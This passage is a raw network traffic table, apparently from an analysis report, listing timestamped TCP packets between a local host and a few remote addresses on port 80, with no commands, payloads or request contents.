Sep 27, 2024 16:18:07.308779955 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.308861971 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.308862925 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.308885098 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.308893919 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.308907032 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.308916092 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.308924913 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.308958054 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.308988094 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309078932 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309099913 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309140921 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309217930 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309232950 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309267998 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309351921 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309365988 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309379101 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309395075 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309398890 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309423923 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309449911 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309535980 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309581041 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309622049 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309637070 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309667110 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309680939 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309779882 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309794903 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309811115 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.309824944 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309839964 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.309863091 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310029030 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310075045 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310082912 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310092926 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310116053 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310134888 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310286045 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310302973 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310323954 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310327053 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310339928 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310343981 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310364008 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310379028 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310544968 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310559034 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310573101 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310586929 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.310595036 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310616016 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.310638905 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311058998 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311073065 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311088085 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311105013 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311120987 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311189890 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311234951 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311264038 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311278105 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311292887 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311305046 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311320066 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311336040 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311494112 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311508894 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311522007 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311536074 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311537027 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311546087 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311568022 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311883926 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311897993 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311912060 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311925888 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.311928988 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311952114 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.311976910 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312050104 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312063932 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312078953 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312088013 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312094927 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312109947 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312112093 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312125921 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312125921 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312143087 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312144995 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312167883 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312192917 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312813997 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312844992 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312860012 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.312863111 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312880993 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.312892914 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313021898 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313033104 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313041925 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313054085 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313070059 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313096046 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313267946 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313282013 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313298941 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313309908 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313312054 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313337088 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313359976 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313762903 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313807964 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313824892 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313842058 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313870907 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313885927 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313889027 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313900948 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313911915 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313922882 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.313926935 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313935995 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.313961029 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.314085960 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.314136028 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.364815950 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.364829063 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.364840031 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.364985943 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.365220070 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.365230083 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.365283966 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.399318933 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399333000 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399348974 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399416924 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399431944 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399441957 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399447918 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399534941 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.399565935 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.399689913 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399703026 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399713039 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399724007 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.399746895 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.399780989 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.402205944 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.402219057 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.402228117 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.402264118 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.402278900 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432384014 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432399035 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432410002 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432482004 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432507038 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432511091 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432524920 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432534933 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432559013 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432574987 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432641983 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432655096 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432667017 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432708025 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432781935 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432852983 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432868004 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432898045 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432921886 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.432955980 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432969093 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.432993889 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433027029 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433162928 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433175087 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433186054 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433198929 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433207989 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433243036 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433417082 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433429956 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433440924 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433453083 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433464050 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433475018 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433475018 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433486938 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433495045 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433511019 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433530092 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.433875084 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433887959 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433897972 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433902979 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433913946 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.433950901 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434021950 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434336901 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434348106 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434357882 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434367895 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434377909 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434387922 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434390068 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434407949 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434428930 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434540033 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434561968 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434573889 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434585094 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434586048 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434612036 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434634924 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434827089 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434838057 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434858084 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434870005 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434878111 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434881926 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434894085 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434904099 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434906006 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434915066 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434921980 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434926987 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434938908 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.434942007 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434967041 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.434989929 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.435544968 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435556889 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435566902 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435578108 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435587883 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435599089 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435600042 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.435611010 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435621977 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435621977 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.435633898 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.435642004 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.435656071 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.435676098 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437359095 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437371016 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437382936 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437413931 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437438011 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437484026 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437496901 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437506914 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437517881 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437526941 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437561035 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437747955 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437761068 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437771082 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437781096 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437792063 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437797070 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437804937 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437808990 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437820911 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437832117 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437835932 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437844992 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.437865019 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.437880993 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438090086 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438138962 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438263893 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438273907 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438283920 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438293934 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438308001 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438308954 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438321114 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438332081 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438335896 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438344002 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438354969 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438355923 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438368082 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438379049 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438389063 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438389063 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438430071 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438802004 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438813925 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438829899 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438851118 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438875914 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438875914 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438895941 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438906908 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.438919067 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.438941002 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.439074039 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.439086914 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.439097881 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.439107895 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.439116955 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.439147949 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.489670992 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.489696980 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.489717007 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.489758015 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.489785910 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.489825010 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.489845991 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.489871979 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.489969015 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.489967108 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.490017891 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:08.165882111 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:08.166237116 CEST	49604	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:08.171128035 CEST	80	49602	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:08.171199083 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:08.171225071 CEST	80	49604	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:08.171298027 CEST	49604	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:08.172831059 CEST	49604	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:08.177675009 CEST	80	49604	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:08.894685030 CEST	80	49604	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:08.894778013 CEST	49604	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:08.921319008 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:08.926424980 CEST	80	49605	194.116.215.195	192.168.2.6
